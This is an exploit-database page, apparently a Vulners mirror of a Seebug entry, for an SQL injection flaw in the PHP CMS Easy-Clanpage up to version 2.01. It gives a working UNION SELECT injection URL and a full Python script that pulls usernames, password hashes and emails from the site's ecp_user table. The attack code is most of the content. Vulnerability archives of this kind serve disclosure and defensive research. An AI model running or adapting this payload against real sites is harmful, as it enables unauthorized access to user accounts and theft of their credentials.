Lucene search
K

Easy-Clanpage <= 2.01 - SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 30 Views

Easy-Clanpage v2.01 SQL Injection Exploit by Easy Laster discovered on 25.03.2010 in PHP. The exploit allows unauthorized access to user details through SQL Injection by sending a crafted request to the vulnerable site

Code

                                                ----------------------------Information------------------------------------------------
+Name : Easy-Clanpage &#60;= v2.01 SQL Injection Exploit
+Autor : Easy Laster
+Date   : 25.03.2010
+Script Easy-Clanpage &#60;= v2.01
+Download : Update Version 2.0-&#62;2.01 : http://www.easy-clanpage.de/?section=
downloads&action=viewdl&id=13
+Price : for free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_| 
                                              |___|                 |___|           


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/Easy-Clanpage/?section=user&action=details&id=

#SQL Injection
+Exploitable   : http://www.site.com/Easy-Clanpage/?section=user&action=details&id=1
+union+select+concat(username,0x3a,password,0x3a,email)+from+ecp_user+where+userID=1--
-----------------------------------------------------------------------------------------

#SQL Injection Exploit

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys, urllib2, re

if len(sys.argv) &#60; 2:
    print &#34;***************************************************************&#34;
    print &#34;************ Easy-Clanpage v2.01 Profil Page Hack *************&#34;
    print &#34;***************************************************************&#34;
    print &#34;*         Discovered and vulnerability by Easy Laster         *&#34;
    print &#34;*                      coded by Dr.ChAoS                      *&#34;
    print &#34;*                                                             *&#34;
    print &#34;*                        &#60;=Usage=&#62;                            *&#34;
    print &#34;* python exploit.py http://site.de/ecp/ &#60;userid, default=1&#62;   *&#34;
    print &#34;*                                                             *&#34;
    print &#34;***************************************************************&#34;
    exit()

if len(sys.argv) &#60; 3:
    id = 1
else:
    id = sys.argv[2]

site = sys.argv[1]
if site[-1:] != &#34;/&#34;:
    site += &#34;/&#34;

url = site + &#34;index.php?section=user&action=details&id=1+and+1=0+union+select+concat(0x23,0x23,0x23,0x23,0x23,username,0x3a,password,0x3a,email,0x23,0x23,0x23,0x23,0x23)+from+ecp_user+where+userID=&#34; + str(id) + &#34;--&#34;

print &#34;Exploiting...&#34;

html = urllib2.urlopen(url).read()
# I hate regex!
data = re.findall(r&#34;#####(.*)\:([0-9a-fA-F]{32})\:(.*)#####\:&#34;, html)
if len(data) &#62; 0:
    print &#34;Success!\n&#34;
    print &#34;ID: &#34; + str(id)
    print &#34;Username: &#34; + data[0][0]
    print &#34;Password: &#34; + data[0][1]
    print &#34;E-Mail: &#34; + data[0][2]
    print &#34;\nHave a nice day!&#34;
else:
    print &#34;Exploit failed...&#34;


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
30